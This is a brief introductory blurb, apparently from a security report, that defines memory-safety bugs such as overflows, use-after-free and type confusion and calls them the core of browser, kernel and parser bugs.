The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.